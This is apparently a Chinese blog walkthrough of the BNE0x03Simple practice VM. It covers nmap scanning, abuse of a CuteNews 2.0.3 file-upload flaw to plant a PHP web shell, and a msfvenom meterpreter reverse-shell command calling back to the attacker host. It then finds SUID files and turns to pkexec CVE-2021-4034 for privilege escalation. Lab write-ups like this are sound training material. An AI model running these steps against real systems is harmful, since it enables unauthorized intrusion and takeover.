BNE0x03Simple

信息收集

# nmap -sn 192.168.1.0/24 -oN live.nmap     
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-27 10:35 CST
Nmap scan report for 192.168.1.1
Host is up (0.00019s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.1.2
Host is up (0.00042s latency).
MAC Address: 00:50:56:FE:B1:6F (VMware)
Nmap scan report for 192.168.1.77
Host is up (0.00026s latency).
MAC Address: 00:0C:29:13:41:0E (VMware)
Nmap scan report for 192.168.1.254
Host is up (0.00040s latency).
MAC Address: 00:50:56:FE:D2:25 (VMware)
Nmap scan report for 192.168.1.60
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 1.96 seconds

探测到存活主机为192.168.1.77,探测开放的端口信息:

# nmap -sT --min-rate 10000 -p- 192.168.1.77 -oN port.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-27 10:36 CST
Nmap scan report for 192.168.1.77
Host is up (0.00062s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:13:41:0E (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.69 seconds

仅仅开放了80端口~

# nmap -sT -sC -sV -O -p80 192.168.1.77 -oN details.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-27 10:37 CST
Nmap scan report for 192.168.1.77
Host is up (0.00047s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Please Login / CuteNews
MAC Address: 00:0C:29:13:41:0E (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.17 seconds

Apache 2.4.7 运行在Ubuntu系统上 首页的标题是Please Login!

渗透测试

只开放了80端口,那就只能是在80端口上寻找突破点了:

首页暴露出来了两个信息,首先就是登录、注册等功能点,可以尝试sql注入;其次就是使用已知的框架“CuteNews v2.0.3”,可以通过搜索已知框架漏洞进行利用~

尝试了闭合,发现登陆不成功;没有继续测试,看看“CuteNews v2.0.3“是否存在相关漏洞~

已知漏洞搜索得到文件上传漏洞~ 下载下来看看详细信息:

searchsploit -m 37474

exp里面告诉我们:

  1. 先注册一个新的用户
  2. 登录
  3. 去个人资料
  4. 上传图片 后抓包改php

点击register之后,创建一个新的账号之后,便来到了上面的界面~ 然后按照步骤来到”Personal options“!

这里上传文件,后改文件名 !

上传成功之后,尝试访问/uploads目录,便会发现我们上传的文件!

尝试访问:

执行成功~ 连接蚁剑,准备上传msf木马等~

连接成功~ 上传msf的木马吧:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.60 LPORT=4444 -f elf -o shel1.elf

给予执行权限!

起msf进行监听,然后执行木马:

刚开始的LHOST地址写错了,重新生成了一下,执行成功上线!

提权

查看/etc/passwd文件,发现一个可用的用户:

bull用户~ 不知道网站目录下面的相关配置文件中是否存在该用户的信息,或者数据库配置文件是否存在:

不需要mysql数据库来存储新闻、评论、用户的资料等任何的数据~

利用find命令查找suid权限的文件:

find / -perm -u=s -type f 2>/dev/null

发现pkexec,尝试利用pkexec本地提权(CVE-2021-4034)进行提权:

pkexec本地提权(CVE-2021-4034)ubuntu18_pkexec提权-CSDN博客

编译完成后,执行:

  • 11
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Y4y17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值